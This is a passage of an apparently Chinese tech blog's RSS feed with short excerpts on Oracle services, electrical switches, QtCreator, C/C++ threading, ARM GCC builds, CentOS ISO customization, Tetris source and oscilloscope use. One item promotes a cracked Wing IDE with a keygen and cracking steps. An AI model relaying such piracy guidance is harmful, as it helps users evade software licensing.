This code is distributed in the hope that it will be useful, but 00013 WITHOUT ANY WARRANTY.</description>
    </item>
    <item>
      <title>OracleMTSRecoveryService无法启动的解决方法</title>
      <link>https://bchobby.github.io/posts/abab464aaa8de111cf6fc3aa8ec57bfc/</link>
      <pubDate>Thu, 20 Feb 2014 15:42:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/abab464aaa8de111cf6fc3aa8ec57bfc/</guid>
      <description> 以下安装和测试环境均为win&#xA;情况一：oracle安装完成后之后单独启动服务时提示&#xA;在本地计算机无法启动OracleMTSRecoveryService服务&#xA;错误1：函数不正确 查看注册表中 如果32操作系统： 查看注册表键值： HKEY_LOCAL_MACHINE\SOFTWARE\ORACLE\OracleMTSRecoveryService\Protid_0 键Host的内容要和本机名一致。 如果是64位操作系统 同时需要验证键值： HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\ORACLE\OracleMTSRecoveryService\Protid_0 键Host的内容要和本机名一致。 情况二：安装的时候启动不了这个服务 出现这种情况一般是之前曾安装过注册表没有删除干净导致。 运行注册表（cmd-输入regedit）,到 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services下，找到OracleMTSRecoveryService及OracleRemExecService，查看ImagePath对应路径是否正确，如OracleRemExecService的ImagePath：&#34;C:\Users\yong\AppData\Local\Temp\oraremservice\RemoteExecService.exe&#34; </description>
    </item>
    <item>
      <title>刀闸和隔离开关以及断路器和负荷开关的区别</title>
      <link>https://bchobby.github.io/posts/b17b937c74415a7edcf0630c6c5cd01d/</link>
      <pubDate>Mon, 17 Feb 2014 11:02:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b17b937c74415a7edcf0630c6c5cd01d/</guid>
      <description> 刀闸和隔离开关同属刀型开关。无论外形、结构原理、操作方法都很相似。但它们有截然不同之点，必须严格区分。 刀闸是一种最简单的开关电器，用于开断500伏以下电路，它只能手动操作。由于电路开断时常有电弧，所以，装有灭弧装置或快断触头。为了增大灭弧能力，其刀一般都较短。 隔离开关有高压、低压、单极、三极、室内、室外之分，它没有专门的灭弧装置，不能用来接通、切断负荷电流和短路电流，只能在电气线路切断的情况 下，才能进行操作。其主要作用是隔离电源，使电源与停电电气设备之间有一明显的断开点，所以不必考虑灭弧。为了保证可靠地隔离电源，防止过电压击穿或相间闪络，其刀一般做得较长，相间距离也较大。 总之，隔离开关不能当作刀闸使用，而刀闸也只允许在电压不高的情况下用来隔离电路，且必须与熔断器等串联使用。 负荷开关没有欠压脱扣功能，突然长时间停电，不会自动断开电路，也就是说变频器在恢复供电后直接通电启动，鉴于有的变频设置的参数在恢复供电后仍然有效，使电动机自动启动。为防止因工作疏忽而造成安全事故，不支持使用负荷开关代替断路器！ 负荷开关是在额定电压和额定电流下，接通和切断高压电路的专用开关。只允许接通和断开负载电流，但不允许断开短路电流。 断路器是用于接通和断开有载或无载线路及电气设备，以及发生短路时，能自动切断故障或重新合闸，能起到控制和保护两方面的作用。 </description>
    </item>
    <item>
      <title>自定义QtCreator添加Ogre新建模板</title>
      <link>https://bchobby.github.io/posts/5aa407f4e21bd9a2d9f37f5b590a6e61/</link>
      <pubDate>Sun, 16 Feb 2014 22:17:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5aa407f4e21bd9a2d9f37f5b590a6e61/</guid>
      <description>进入自己的QtCreator目录下，路径:&#xA;换成自己的&#xA;D:\Qt\Qt5.2.1-vs\Tools\QtCreator\share\qtcreator\templates\wizards&#xA;复制多一份hello world 改名为ogre&#xA;把wizard_sample.xml 改为 wizard.xml QtCreator 只认这个文件名&#xA;打开wizard.xml&#xA;找到&#xA;&amp;lt;wizard version=&#34;1&#34; kind=&#34;project&#34; class=&#34;qt4project&#34; firstpage=&#34;10&#34; id=&#34;A.HelloWorld&#34; category=&#34;B.CustomProjects&#34;&amp;gt; &amp;lt;icon&amp;gt;console.png&amp;lt;/icon&amp;gt; &amp;lt;description&amp;gt;Creates a hello-world-project with custom message.&amp;lt;/description&amp;gt; &amp;lt;displayname&amp;gt;Hello World&amp;lt;/displayname&amp;gt;; &amp;lt;displaycategory&amp;gt;Custom Projects&amp;lt;/displaycategory&amp;gt; &amp;lt;files&amp;gt; &amp;lt;file source=&#34;main.cpp&#34; openeditor=&#34;true&#34;/&amp;gt; &amp;lt;file source=&#34;project.pro&#34; target=&#34;%ProjectName%.pro&#34; openproject=&#34;true&#34;/&amp;gt; &amp;lt;/files&amp;gt; 改为&#xA;&amp;lt;wizard version=&#34;1&#34; kind=&#34;project&#34; class=&#34;qt4project&#34; firstpage=&#34;10&#34; id=&#34;A.HelloWorld&#34; category=&#34;B.CustomProjects&#34;&amp;gt; &amp;lt;icon&amp;gt;qtogre.png&amp;lt;/icon&amp;gt; &amp;lt;description&amp;gt;Creates a ogre-project.&amp;lt;/description&amp;gt; &amp;lt;displayname&amp;gt;ogre&amp;lt;/displayname&amp;gt;; &amp;lt;displaycategory&amp;gt;Custom Projects&amp;lt;/displaycategory&amp;gt; &amp;lt;files&amp;gt; &amp;lt;file source=&#34;main.cpp&#34; openeditor=&#34;true&#34;/&amp;gt; &amp;lt;file source=&#34;ogreview.cpp&#34; openeditor=&#34;true&#34;/&amp;gt; &amp;lt;file source=&#34;ogreview.h&#34; openeditor=&#34;true&#34;/&amp;gt; &amp;lt;file source=&#34;project.pro&#34; target=&#34;%ProjectName%.pro&#34; openproject=&#34;true&#34;/&amp;gt; &amp;lt;/files&amp;gt; project.</description>
    </item>
    <item>
      <title>&lt;zz&gt;计算机视觉和模式识别领域SCI期刊介绍</title>
      <link>https://bchobby.github.io/posts/55485333e981d7d382f4a4fe3b84a99a/</link>
      <pubDate>Sun, 16 Feb 2014 21:58:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/55485333e981d7d382f4a4fe3b84a99a/</guid>
      <description>原帖地址： http://blog.sciencenet.cn/blog-370458-750306.html&#xA;关于计算机视觉和模式识别领域的期刊并不是很多，下面我收集了一些该领域的代表性期刊，并介绍了他们的影响因子以及投稿难度和审稿周期。希望对大家有帮助吧，后期大家还有发现的可以留言，补充哦。&#xA;首先介绍计算机视觉领域的4个顶级代表性期刊吧。&#xA;(1) IEEE Transactions on Pattern Analysis and Machine Intelligence，IEEE模式分析与机器智能汇刊，简称PAMI，是IEEE最重要的学术性汇刊之一。在各种统计中，PAMI被认为有着很强的影响因子（2011年影响因子为4.9）和很高的排名。显然，这个期刊的中稿难度那是相当的大，一般先投中CVPR之后再加点东西投该期刊会比较好中一点。&#xA;(2) ACM Transactions on Graphics。美国计算机协会图形汇刊，简称TOG，该刊侧重于计算机图形的处理，影响因子在该领域也比较高，2011年为3.5。中稿的难度也极大，一般该刊对每年的SIGGRAPH(Special Interest Group for Computer GRAPHICS,计算机图形图像特别兴趣小组）会议论文全文收录。&#xA;(3) International Journal of Computer vision，该刊也是该领域的顶级期刊之一，相比于PAMI来讲，该刊侧重于理论的推导。2011年影响因子为3.7，中稿难度也相当大。&#xA;(4) IEEE Transactions on Image Processing，该刊也是图像处理领域的代表性期刊之一，相比于上面三个期刊来讲，该刊稍微低一点层次。2011年影响因子为3.042，中稿难度也比较大。审稿周期一年左右。&#xA;除了上述让人望而生畏的顶级期刊之外，我们再看看一般的期刊吧。&#xA;(1)Pattern recognition letters, 从投稿到发表，一年半时间;&#xA;(2)Pattern recognition 不好中，时间长;&#xA;(3)IEICE Transactions on Information and Systems， 作者中有一个必须是会员。收费高，审稿快。影响因子0.4;&#xA;(4)International Journal of Pattern Recognition and Artificial Intelligence ， 审稿周期一般6--12周，影响因子偏低，容易中;&#xA;(5)Computational Intelligence， 中等偏上，要求较高，杂志级别不错，关注人数偏少，比较冷门;&#xA;(6)information processing letters, 影响因子低0.5左右，接搞量大，容易发表，审稿周期一般3--6个月;&#xA;(7)Computer vision and image understanding, 9个月审稿期，平均投稿命中率20%，业内比较认可;</description>
    </item>
    <item>
      <title>c&#43;&#43; 多线程编程基础</title>
      <link>https://bchobby.github.io/posts/aa73ffada440cea380f0eec5d0e7bbc0/</link>
      <pubDate>Sun, 09 Feb 2014 13:22:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa73ffada440cea380f0eec5d0e7bbc0/</guid>
      <description>原文地址：http://blog.csdn.net/lzx_bupt/article/details/6910503&#xA;c/c++: 多线程编程基础讲解（一） 利用几篇文章简单记录下c与c++多线程编程基础入门的东西，每篇一个程序来记录，备忘。这些章节是由浅入深组织的，赖死狗！&#xA;在注释中讲吧，佛楼米！&#xA;[cpp] view plain copy #include &amp;lt;iostream&amp;gt; #include &amp;lt;pthread.h&amp;gt;//头文件是必须的，符合posix标准使程序可移植众多平台 using namespace std; #define NUM_THREADS 5 void* say_hello(void* args)//线程的运行函数，必须void*，没说的表示返回通用指针、输入通用指针 { cout &amp;lt;&amp;lt; &#34;hello...&#34; &amp;lt;&amp;lt; endl; } int main() { pthread_t tids[NUM_THREADS];//定义线程的id变量，多个变量可以声明为数组使用 for(int i = 0; i &amp;lt; NUM_THREADS; ++i) { int ret = pthread_create(&amp;amp;tids[i], NULL, say_hello, NULL);//参数依次是：创建的线程id，线程参数，调用函数名，传入的函数参数 if (ret != 0) { cout &amp;lt;&amp;lt; &#34;pthread_create error: error_code=&#34; &amp;lt;&amp;lt; ret &amp;lt;&amp;lt; endl; } } pthread_exit(NULL);//等各个线程退出后，进程才结束，否则进程强制结束了，线程可能还没反应过来； } 编译命令：</description>
    </item>
    <item>
      <title>一步一步教你怎么编译GNU ARM GCC 交叉编译器arm-none-eabi-gcc</title>
      <link>https://bchobby.github.io/posts/c0406beb14eb56376bed59363dba0d5c/</link>
      <pubDate>Thu, 23 Jan 2014 11:18:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0406beb14eb56376bed59363dba0d5c/</guid>
      <description>一步一步教你怎么编译GNU ARM GCC 交叉编译器arm-none-eabi-gcc&#xA;Step by step teaching you how to build a GNU ARM GCC cross compiler&#xA;首先，对于编译器这东西，我一向认为很高深，当然现在还是这么认为，呵，所以呢,一般都是用别人编译好的现成的编译好版本。可是最近因为要在windows下面编译u-boot的原因，因为找不到合适的arm编译器，故只能自己编译一个了。下面就是整个的编译过程，一步步来吧。&#xA;在开始之前，还要说明一点，这里所编译的gnu arm gcc 编译器，运行时是依赖于cygwin的，而且这也是我所需要的，至于为什么，请看我的另一篇：如何实现在windows下面编译u-boot，里面已经说了详细的原因。如果你不想依赖于cygwin，那请直接用yagarto，或其他的windows版本的gnu arm gcc吧。&#xA;1. 确定要编译arm编译器的类型和版本，下载合适的编译器源文件和库源文件&#xA;（1）类型：arm-none-eabi-gcc&#xA;（2）版本：Binutils-2.22，Newlib-1.20.0，GCC-4.7.1，GDB-7.4.1，insight-6.8.1&#xA;嘿嘿，这个版本的问题，我参考了yagarto 还有一些其他的版本，yagarto 用Eclipse + CDT作为代码编辑和调试的前端，所有没有编insight-6.8.1，我这时是编了，如果你不需要用insight来作为调试的前端，你也不用编，只编前面四个就可以了。&#xA;（3）下载所要的源文件：&#xA;Binutils-2.22：&#xA;官网：http://www.gnu.org/software/binutils/&#xA;下载地址：http://ftp.gnu.org/gnu/binutils/binutils-2.22.tar.bz2&#xA;Newlib-1.20.0：&#xA;官网：http://sourceware.org/newlib/&#xA;下载地址：http://nchc.dl.sourceforge.net/project/devkitpro/sources/newlib/newlib-1.20.0.tar.gz&#xA;也可以通过CVS来获得：&#xA;cvs -z 9 -d :pserver:anoncvs@sources.redhat.com:/cvs/src login&#xA;{enter &#34;anoncvs&#34; as the password}&#xA;cvs -z 9 -d :pserver:anoncvs@sources.redhat.com:/cvs/src co newlib&#xA;GCC-4.7.1：&#xA;官网：http://gcc.gnu.org/&#xA;下载地址：http://www.netgull.com/gcc/releases/gcc-4.7.1/gcc-4.7.1.tar.bz2&#xA;GDB-7.4.1：&#xA;官网：http://www.gnu.org/software/gdb/&#xA;下载地址：http://ftp.gnu.org/gnu/gdb/gdb-7.4.1.tar.bz2&#xA;insight-6.8.1：&#xA;官网：http://sourceware.org/insight/&#xA;下载地址：ftp://sourceware.org/pub/insight/releases/insight-6.8-1.tar.bz2</description>
    </item>
    <item>
      <title>【D3相关资料整理】持续更新中......</title>
      <link>https://bchobby.github.io/posts/d3de0e218002ebca36f9214ea99c3581/</link>
      <pubDate>Sat, 18 Jan 2014 19:15:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3de0e218002ebca36f9214ea99c3581/</guid>
      <description>写在前面的话： 我一直在搜索D3的资料&#xA;也是不断在学习&#xA;我自己学习的时候感觉资料很少很痛苦&#xA;所以就不希望别人也这么痛苦了 我把我找到过的资料都分享一下，希望对您有帮助，如果你有新的资料可以给我留言&#xA;资料太多不方便看的话看目录吧 \(^o^)/~&#xA;主要资料 [1] 官方API文档。 学习和使用D3 的一手资料。除了文档之外还有一些代码示例。 https://github.com/mbostock/d3/wiki/API-Reference&#xA;[2] Stackoverflow。&#xA;很多难以理解的API 可以在这找到答案。http://stackoverflow.com/search?q=d3&#xA;[3] D3 开发者Mike Bostock 的博客。&#xA;包含大量在线示例。介绍了很多D3 的编程技巧，讲解了部分API 的使用，还探讨了许多 使用D3 会遇到的问题的解决方案。http://bl.ocks.org/mbostock&#xA;[4] D3 开发者Jason Davies 的个人网站。&#xA;包含很多在线示例。涉及一些API 的形象解释。扩展了D3 的地理投影。讲解了很多D3 的实现原理如贝塞尔曲线的动态演示等。还有一些像词云这样的实用插件。 https://www.jasondavies.com/&#xA;[5] 2000 多个D3 在线案例汇总。&#xA;作者收集的这些可视化案例大都可以在线运行，并且已经按照类别组织好，可以通过关键 词来筛选案例。http://christopheviau.com/d3list/gallery.html&#xA;[6] D3 官方教程。&#xA;教程包含图书、博客、幻灯片等各种资料。https://github.com/mbostock/d3/wiki/Tutorials&#xA;[7] 数据可视化工具汇总。&#xA;数据可视化技术选型的重要参考资料。包含50 多种流行的数据可视化工具的开源协议， 主页，文档，案例等资源的简单介绍，这些工具包括著名的D3.js，R，Gephi，Raphaël， Processing.js，Tableau Public，Google Chart Tools，Arbor.js 等工具。 http://selection.datavisualization.ch/&#xA;[8] SVG 在线教程。&#xA;讲解SVG 的基本功能，案例都可以在线演示。http://tutorials.jenkov.com/svg/index.html&#xA;[9] 《数据可视化实战（使用D3 设计交互式图表）》。&#xA;Scott Murray 著，李松峰译。这本书写得浅显易懂，是入门D3 的经典书籍。其中也有涉及 一些API 的简要介绍。</description>
    </item>
    <item>
      <title>study list</title>
      <link>https://bchobby.github.io/posts/47a569debb869650914ad0409479f173/</link>
      <pubDate>Mon, 13 Jan 2014 10:00:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/47a569debb869650914ad0409479f173/</guid>
      <description>一. TCP&#xA;2. ss 指令&#xA;3. 定时器&#xA;二. epoll&#xA;三. 四. 正向/反向代理 + Nginx&#xA;五. 路由协议&#xA;六. sendfile &amp;amp; splice&#xA;http://hi.baidu.com/widebright/item/f2e98bcb64239e46a9ba948e</description>
    </item>
    <item>
      <title>Red Hat Enterprise linux 6中文输入法</title>
      <link>https://bchobby.github.io/posts/b03ab4ed8bef192e298d841129edb12c/</link>
      <pubDate>Fri, 10 Jan 2014 10:10:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b03ab4ed8bef192e298d841129edb12c/</guid>
      <description>好久没用Linux了，今天又装了一个red hat enterprise linux 6.0，现在已经到6.X版本了，上次用的时候还是5.4呢，装好之后找不见中文输入法，半天没弄出来，上网搜了一下，很多人都说安装一个小企鹅输入法、或者把系统语言设置成中文，可是我不想把系统设置成中文，就想用英文的，我想系统肯定有，肯定是我没打开，后来找了一下，终于发现了，很简单啊。&#xA;打开System-Preference-Input Method，打开输入法编辑框&#xA;里面有两个系统自带的输入法框架，我用的就是第一个，点击Input Method Preferences&#xA;General下面又输入法的打开方式和切换方式，打开和关闭方式就是Control+Space，切换方式就是Alt+Shift，可以点击后面的按钮修改快捷方式，（修改方法，按住按钮释放即可，系统自动抓取）&#xA;在Input Method下面可以添加输入法，在Select an input method 下拉列表中选择Chinese-拼，然后点击右侧Add按钮即可。&#xA;关闭对话框，Control+Space，就可以打开中文输入法了。右上角“拼”。</description>
    </item>
    <item>
      <title>重新理解“充要条件”</title>
      <link>https://bchobby.github.io/posts/0ec050995756b51564cdb839a1062cb3/</link>
      <pubDate>Thu, 09 Jan 2014 10:30:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ec050995756b51564cdb839a1062cb3/</guid>
      <description>什么是充要条件？ 从字面上看，充要条件即充分必要条件。那“充分”和“必要”又包含什么样的含义呢？&#xA;先来说明一下什么是“充分”。举个例子，我们说“男人会长胡子”。这里就可以说“男人”是“会长胡子”的充分条件。再来看一下什么是“必要”。继续看“男人会长胡子”这句话。我们说“会长胡子”是“男人”的必要条件。很显然，如果一个人不长胡子，那他就一定不是男人，所以说“会长胡子”是必要的。那什么是“充分且必要”呢？还是刚才的例子，“会长胡子”的一定是“男人“吗？这不一定，猫也长胡子，所以是”会长胡子“对于是”男人“而言，是不充分的。但是，如果我们说”会长胡子的人“是”男人“，这应该没有人会置疑。因为，”会长胡子“并且是个”人“，这是”男人“的充分必要条件。&#xA;我们将上面的内容作一些抽象：&#xA;如果说，由A这个条件可以推出B这个结论，则A是B的充分条件，B是A的必要条件；如果说，由B这个条件可以推出A这个结论，则B是A的充分条件，A是B的必要条件；如果说，既可以由A推出B，又可以由B推出A，那么A和B互为充要条件。 以上便是对“充要条件“的定义。&#xA;回头再看上面的例子，这里我们把“男人”看作A，“会长胡子”看作B。“男人会长胡子”，即由A可以推出B，那么，“男人”是“会长胡子”的充分条件，“会长胡子”是“男人”的必要条件。到此，我们就说明了上例中的1、2两点，接着再回头看第3点，因为猫也长胡子，所以”会长胡子“对于是”男人“而言是不充分的，则“会长胡子(B)”是“男人(A)”的必要条件，但不是充分条件。再看，对于“男人是会长胡子的人”，这里仍把“男人”看作A，B则稍作变化，“会长胡子的人”看作B。那么，A可以推出B，B也可以推出A，则“男人”和“会长胡子的人”互为充要条件。&#xA;如何证明充要条件？ 先证明充分性，再证明必要性。主要方法有定义法、等价法、集合法以及逻辑判断法。&#xA;深入了解“充要条件”，可以看了下王贵友的《充要条件的判断与证明》。</description>
    </item>
    <item>
      <title>基于CentOS6.0-64定制系统iso制作（修改）</title>
      <link>https://bchobby.github.io/posts/f715201fe47eec1f99b374dbb8164f74/</link>
      <pubDate>Fri, 03 Jan 2014 08:05:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f715201fe47eec1f99b374dbb8164f74/</guid>
      <description>一.制作环境的准备 1.安装制作发行版的工具：&#xA;[shell]# yum -y install anaconda repodata createrepo mkisofs&#xA;[shell]# yum -y install anaconda-runtime createrepo yum-utils anacondaanaconda-help busybox-anaconda mkisofs&#xA;2.安装Centos6.0系统&#xA;由于方便制作，我们可以在VMware、vbox、xen等虚拟环境中进行安装，这里我们选用了VMware作为制作环境。&#xA;(1)在官方网站上下载CentOS-6.0-x86_64-bin-DVD.iso镜像文件&#xA;Wgethttp://mirrors.loosefoot.com/centos/6.0/isos/x86_64/CentOS-6.0-x86_64-bin-DVD1.iso&#xA;Wgethttp://mirrors.loosefoot.com/centos/6.0/isos/x86_64/CentOS-6.0-x86_64-bin-DVD2.iso&#xA;二.创建定制系统（MediaCentOS基于 CentOS6.0-64 Base server）&#xA;1.光盘主要结构及文件简介&#xA;*isolinux目录存放光盘启动时的安装界面信息&#xA;*images目录包括了必要的启动映像文件&#xA;*Packages目录存放安装软件包及信息&#xA;*.discinfo文件是安装价质的识别信息&#xA;MediaCentOS目录存放媒体中心安装包&#xA;Repodata目录存放rpm包依赖信息&#xA;2.创建设/disk目录，挂载光盘&#xA;[shell]# mkdir /disk&#xA;[shell]# mkdir /mnt/cdrom&#xA;[shell]# mount –o loop /dev/cdrom /mnt/cdrom&#xA;3.拷贝光盘目录&#xA;[shell]# cd /mnt/cdrom&#xA;[shell]# ls -a .|grep –v “Packages”|xargs -i cp -rp {} /disk&#xA;//将所有文件和文件夹拷贝到/disk，除了Packages目录&#xA;[shell]# mkdir -p /disk/Packages</description>
    </item>
    <item>
      <title>Wing IDE 破解版/注册机/注册码/破解方法</title>
      <link>https://bchobby.github.io/posts/887503c4b5d0cfbdbae4d2a8a940fce9/</link>
      <pubDate>Thu, 02 Jan 2014 10:10:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/887503c4b5d0cfbdbae4d2a8a940fce9/</guid>
      <description> Wing IDE 是 Python 的商业集成开发工具。 原版下载地址 http://wingware.com/products 测试环境 Wing IDE Pro version 3.2.10/windows2003/python2.6.6 下载： Wing IDE Professional 3.2.10 + 注册机 下载： Wing IDE Professional 3.2.10 破解手册 注意 如果安装过 Wing IDE 3 先卸载，通常情况下是不能完全卸载的，所以你需要进行下面的操作。 删除 C:\Documents and Settings\Administrator\LocalSettings\Application Data 下的Wing IDE 3 目录，C:\Documents andSettings\Administrator\Application Data 下的 Wing IDE 3 目录。 如果不删除，就没办法进入下面的破解页面了。 以上方法来自网络，不要用于商业用途，请支持正版软件。 </description>
    </item>
    <item>
      <title>C语言图形编程--俄罗斯方块制作(二)源代码</title>
      <link>https://bchobby.github.io/posts/fbbd4188ed1160665461970deac755b9/</link>
      <pubDate>Sun, 29 Dec 2013 22:39:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fbbd4188ed1160665461970deac755b9/</guid>
      <description>所有源代码文件，此为本人2年前所作，设计上还有些缺陷。希望大家不吝指正。&#xA;设计详解点击这里&#xA;下面是头文件head.h&#xA;/************************ (C) COPYRIGHT 2013 yang_yulei ************************ * File Name : head.h * Author : yang_yulei * Date First Issued : 12/18/2013 * Description : * * *******************************************************************************/ /* Define to prevent recursive inclusion -------------------------------------*/ #ifndef _HEAD_H_ #define _HEAD_H_ /* Includes ------------------------------------------------------------------*/ #include &amp;lt;graphics.h&amp;gt; #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;conio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;time.h&amp;gt; /* Macro ---------------------------------------------------------------------*/ #define TRUE 1 #define FALSE 0 //GUI游戏界面相关的参数 #define GUI_WALL_SQUARE_WIDTH 10 //外围围墙小方格的宽度(单位：像素) #define GUI_xWALL_SQUARE_NUM 30 //横向(x轴方向)围墙小方格的数量(必须是偶数) #define GUI_yWALL_SQUARE_NUM 46 //纵向(y轴方向)围墙小方格的数量(必须是偶数) #define GUI_WALL_WIDTH_PIX (GUI_WALL_SQUARE_WIDTH*GUI_xWALL_SQUARE_NUM) #define GUI_WALL_HIGH_PIX (GUI_WALL_SQUARE_WIDTH*GUI_yWALL_SQUARE_NUM) #define WINDOW_WIDTH 480 //窗口的宽度 #define WINDOW_HIGH GUI_WALL_HIGH_PIX //窗口高度 //俄罗斯方块相关的参数 //移动的方向 #define DIRECT_UP 3 #define DIRECT_DOWN 2 #define DIRECT_LEFT -1 #define DIRECT_RIGHT 1 //每一个小方块的大小(是围墙小方格宽度的2倍) #define ROCK_SQUARE_WIDTH (2*GUI_WALL_SQUARE_WIDTH) //横向能容纳小方格的数量 #define X_ROCK_SQUARE_NUM ((GUI_xWALL_SQUARE_NUM-2)/2) //纵向能容纳小方格的数量 #define Y_ROCK_SQUARE_NUM ((GUI_yWALL_SQUARE_NUM-2)/2) /* Exported types ------------------------------------------------------------*/ typedef int BOOL ; //布尔值类型 /*数据结构-线性表(结构体数组)*/ typedef struct ROCK { //用来表示方块的形状(每一个字节是8位，用每4位表示方块中的一行) unsigned int rockShapeBits ; int nextRockIndex ; //下一个方块，在数组中的下标 } RockType ; //方块在图形窗口中的位置(即定位4*4大块的左上角坐标) typedef struct LOCATE { int left ; int top ; } RockLocation_t ; /* Function prototypes -------------------------------------------------------*/ //源文件play.</description>
    </item>
    <item>
      <title>C语言图形编程--俄罗斯方块制作(一)详解</title>
      <link>https://bchobby.github.io/posts/7838365581abbfbce47cdce133ec8632/</link>
      <pubDate>Sun, 29 Dec 2013 22:38:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7838365581abbfbce47cdce133ec8632/</guid>
      <description>效果图&#xA;用C语言实现俄罗斯方块，需要先解决下面几个问题：&#xA;1、如何用C语言绘制图形界面&#xA;EasyX图形库(http://www.easyx.cn)即TC的图形库在VC下的移植。&#xA;包含库#include &amp;lt;graphics.h&amp;gt;&#xA;先初始化图形窗口&#xA;initgraph(WINDOW_WIDTH, WINDOW_HIGH) ;WINDOW_WIDTH为窗口的宽带，WINDOW_HIGH为窗口的高度。&#xA;清空绘图设备&#xA;cleardevice();&#xA;设置画笔颜色&#xA;setcolor(RED) ;&#xA;设置线条风格&#xA;setlinestyle(PS_SOLID, NULL, 0);&#xA;画矩形&#xA;rectangle&#xA;还有画线、显示文字等函数，可以参照其帮助文档。&#xA;注意：由于我们用的是EasyX图形库，故源文件后缀要为.cpp，但其中内容都是C的语法。&#xA;2、如何存储表示出俄罗斯方块的形状&#xA;在计算机中如何让一串的01数字，代表俄罗斯方块？&#xA;一、我们可以用编号，不同的编号代表不同的俄罗斯方块，根据编号把不同方块的画法写在代码中，这样19种&#xA;方块就得有19种相应的代码来描绘。而且这样扩展性不好，若以后设计了新的方块，则需要更改大量源代码。&#xA;二、我们很自然的想到可用字模点阵的形式来表示，即设置一个4行4列的数组，元素置1即代表这个位置有小&#xA;方块，元素置0即代表这个位置无小方块，这个整个的4*4的数组组成俄罗斯方块的形状。&#xA;1000&#xA;1000&#xA;1100&#xA;0000 这个方法挺靠谱，但我们还可以优化一下：不用4*4的数组，而是用16个bit位来表示这个点阵。这样存储起来比较方便，故我们用unsigned int 的低16位来表示方块的点阵。&#xA;我们可以用掩码与表示俄罗斯方块的位进行操作，来识别并在屏幕上画出方块。&#xA;详情见GUI.cpp中的DrawRock函数。&#xA;//逐位扫描由unsigned int的低2字节 //16个位组成的俄罗斯方块形状点阵(其代表4*4的方块形状) mask = (unsigned int)1 &amp;lt;&amp;lt; 15 ; for (i=1; i&amp;lt;=16; i++) { //与掩码相与为1的 即为方块上的点 if ((rockArray[rockIndex].rockShapeBits &amp;amp; mask) != 0) { //在屏幕上画出此方块 rectangle(rockX+2, rockY+2, rockX+ROCK_SQUARE_WIDTH-2, rockY+ROCK_SQUARE_WIDTH-2) ; } //每4次 换行 转到下一行继续画 i%4 == 0 ?</description>
    </item>
    <item>
      <title>示波器使用的经验——50Hz干扰</title>
      <link>https://bchobby.github.io/posts/f5c18ca8be778d65a96528745a31da9c/</link>
      <pubDate>Thu, 26 Dec 2013 17:52:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5c18ca8be778d65a96528745a31da9c/</guid>
      <description>别看一个示波器探头很简单，其实还是很有讲究的。&#xA;1、首先是带宽，这个通常会在探头上写明，多少MHz。如果探头的带宽不够，示波器的带宽再高也是无用，瓶颈效应。&#xA;2、另外就是探头的阻抗匹配。探头在使用之前应该先对其阻抗匹配部分进行调节。通常在探头的靠近示波器一端有一个可调电容，有一些探头在靠近探针一端也具有可调电容。它们是用来调节示波器探头的阻抗匹配的。如果阻抗不匹配的话，测量到的波形将会变形。调节示波器探头阻抗匹配的方法如下：首先将示波器的输入选择打在GND上，然后调节Y轴位移旋钮使扫描线出现在示波器的中间。检查这时的扫描线是否水平（即是否跟示波器的水平中线重合），如果不是，则需要调节水平平衡旋钮（通常模拟示波器有这个调节端子，在小孔中，需要用螺丝刀伸进去调节。数字示波器不用调节）。然后，再将示波器的输入选择打到直流耦合上，并将示波器探头接在示波器的测试信号输出端上（一般示波器都带有这输出端子，通常是1KHz的方波信号），然后调节扫描时间旋钮，使波形能够显示2个周期左右。调节Y轴增益旋钮，使波形的峰-峰值在1/2屏幕宽度左右。然后观察方波的上、下两边，看是否水平。如果出现过冲、倾斜等现象，则说明需要调节探头上的匹配电容。用小螺丝刀调节之，直到上下两边的波形都水平，没有过冲为止。当然，可能由于示波器探头质量的问题，可能调不到完全无失真的效果，这时只能调到最佳效果了。&#xA;3、另外就是示波器探头上还有一个选择量程的小开关：X10和X1。当选择X1档时，信号是没经衰减进入示波器的。而选择X10档时，信号是经过衰减到1/10再到示波器的。因此，当使用示波器的X10档时，应该将示波器上的读数扩大10倍（有些示波器，在示波器端可选择X10档，以配合探头使用，这样在示波器端也设置为X10档后，直接读数即可）。当我们要测量较高电压时，就可以利用探头的X10档功能，将较高电压衰减后进入示波器。另外，X10档的输入阻抗比X1档要高得多，所以在测试驱动能力较弱的信号波形时，把探头打到X10档可更好的测量。但要注意，在不甚明确信号电压高低时，也应当先用X10档测一下，确认电压不是过高后再选用正确有量程档测量，养成这样的习惯是很有必要的，不然，哪天万一因为这样损坏了示波器，要后悔就来不及了。经常有人提问，为什么用示波器看不到晶振引脚上的波形？一个可能的原因就是因为使用的是探头的X1档，这时相当于一个很重的负载（一个示波器探头使用×1档具有上百pF的电容）并联在晶振电路中，导致电路停振了。正确的方法应该是使用探头的X10档。这是使用中应当注意的，即使不停振，也有可能因过度改变振荡条件而看不到真实的波形了。&#xA;4、示波器探头在使用时，要保证地线夹子可靠的接了地（被测系统的地，非真正的大地），不然测量时，就会看到一个很大的50Hz的信号，这是因为示波器的地线没连好。如果你发现示波器上出现了一个幅度很强的50Hz信号（我国市电频率为50Hz，国外有60Hz的），这时你就要注意下看是否是探头的地线没连好。由于示波器探头经常使用，可能会导致地线断路。检测方法是：将示波器调节到合适的扫描频率和Y轴增益，然后用手触摸探头中间的探针，这时应该能看到波形，通常是一个50Hz的信号。如果这时没有波形，可以检查是否是探头中间的信号线是否已经损坏。然后，将示波器探头的地线夹子夹到探头的探针（或者是钩子）上，再去用手触摸探头的探针，这时应该看不到刚刚的信号（或者幅度很微弱），这就说明探头的地线是好的，否则地线已经损坏。通常